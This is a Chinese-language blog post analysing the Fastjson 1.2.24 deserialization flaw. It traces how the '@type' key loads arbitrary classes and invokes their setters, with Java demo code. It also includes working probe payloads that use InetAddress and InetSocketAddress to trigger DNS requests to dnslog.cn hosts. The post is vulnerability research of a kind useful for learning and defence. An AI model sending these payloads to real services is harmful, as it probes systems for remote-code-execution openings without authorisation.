fastjson1.2.24 漏洞分析

作者: print("") 分类: Java学习 发布时间: 2022-01-12 22:25

Fastjson 1.2.24 这个漏洞是比较早的一个漏洞了。环境的部署的话。通过maven 进行部署就行了

漏洞原理:

1 通过入参类型,生成反序列化器。

2 反序列化器调用入参类型的无参构造函数,创建对象。

3 解析序列化字符串,取出Key,Value值,调用相应的setKey(Value)方法。

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version> 1.2.24</version>
        </dependency>

最开始很奇怪他的payload 是{“@type”:”xxxxx”} 这么奇奇怪怪的payload 。那么通过如下进行探索

通过搜索。发现com\alibaba\fastjson\JSON.class 中定义了@type

那么看看他在哪里被用到了。经过全局搜索发现com\alibaba\fastjson\parser\DefaultJSONParser.parseObject 中被用到具体的调用如下:

 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        ref = lexer.scanSymbol(this.symbolTable, '"');
                        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
                        if (clazz != null) {
                            lexer.nextToken(16);
                            if (lexer.token() == 13) {
                                lexer.nextToken(16);

如果key为@type 的时候。并且lexer.isEnabled(Feature.DisableSpecialKeyDetect) 为false的时候。去加载传递过来的类全名去加载这个类。用法如下:

首先建立一个User的类

package com.example.demo;

public class User {
    private int age;
    private String name;
    private String birthday;

    public int getAge() {
        return age;
    }

    public User() {
    }

    public User(int age, String name, String birthday) {
        this.age = age;
        this.name = name;
        this.birthday = birthday;
    }

    @Override
    public String toString() {
        return "User{" +
                "age=" + age +
                ", name='" + name + '\'' +
                ", birthday='" + birthday + '\'' +
                '}';
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getBirthday() {
        return birthday;
    }

    public void setBirthday(String birthday) {
        this.birthday = birthday;
    }
}

然后使用@type 进行调用loadClass 进行加载 

package com.example.demo;


import com.alibaba.fastjson.JSON;
public class testfastjson {

    public static String userStr2="{\"@type\":\"com.example.demo.User\",\"age\":12,\"birthday\":\"test\",\"name\":\"myname\"}";

    public static void main(String[] args) {
            User user2 = (User) JSON.parse(userStr2);
            System.err.println(user2.getName());

    }
}

这个方法没有做任何的安全过滤。那么可以通过传入全类的全路径。

也就是说可以传入任何jvm加载过的类,并执行setKey方法,Key也是传入的,可变的。
剩下的就是寻找符合以下条件的类:
1,JVM加载过的类;
2,有非静态set方法;
3,入参只有一个。

值得深究的地方为:

com\alibaba\fastjson\serializer\MiscCodec.deserialze

这里判断了几种类型key的类型 例如:报错时候。会调用return InetAddress.getByName(strVal);

那么可以进行探测dnslog

    public static String userStr2="{\"@type\":\"java.net.InetAddress\",\"val\":\"bbbbb.nwccz3.dnslog.cn\"}";

    public static void main(String[] args) throws IOException {
            User user2 = (User) JSON.parse(userStr2);
            System.err.println(user2.getName());

    }

例如判断了address

 if (className.equals("address")) {
                        parser.accept(17);
                        address = (InetAddress)parser.parseObject(InetAddress.class);
                    } 

也可以通过 进行dnslog请求

    public static String userStr2="{\"zero\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"crzq71.dnslog.cn\"}}}";

对于RCE 的点分析。真的是长。这里只是简单的做了一下分析。

参考:

https://www.cnblogs.com/0x28/p/14378245.html

https://blog.csdn.net/mwei83/article/details/84883965

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注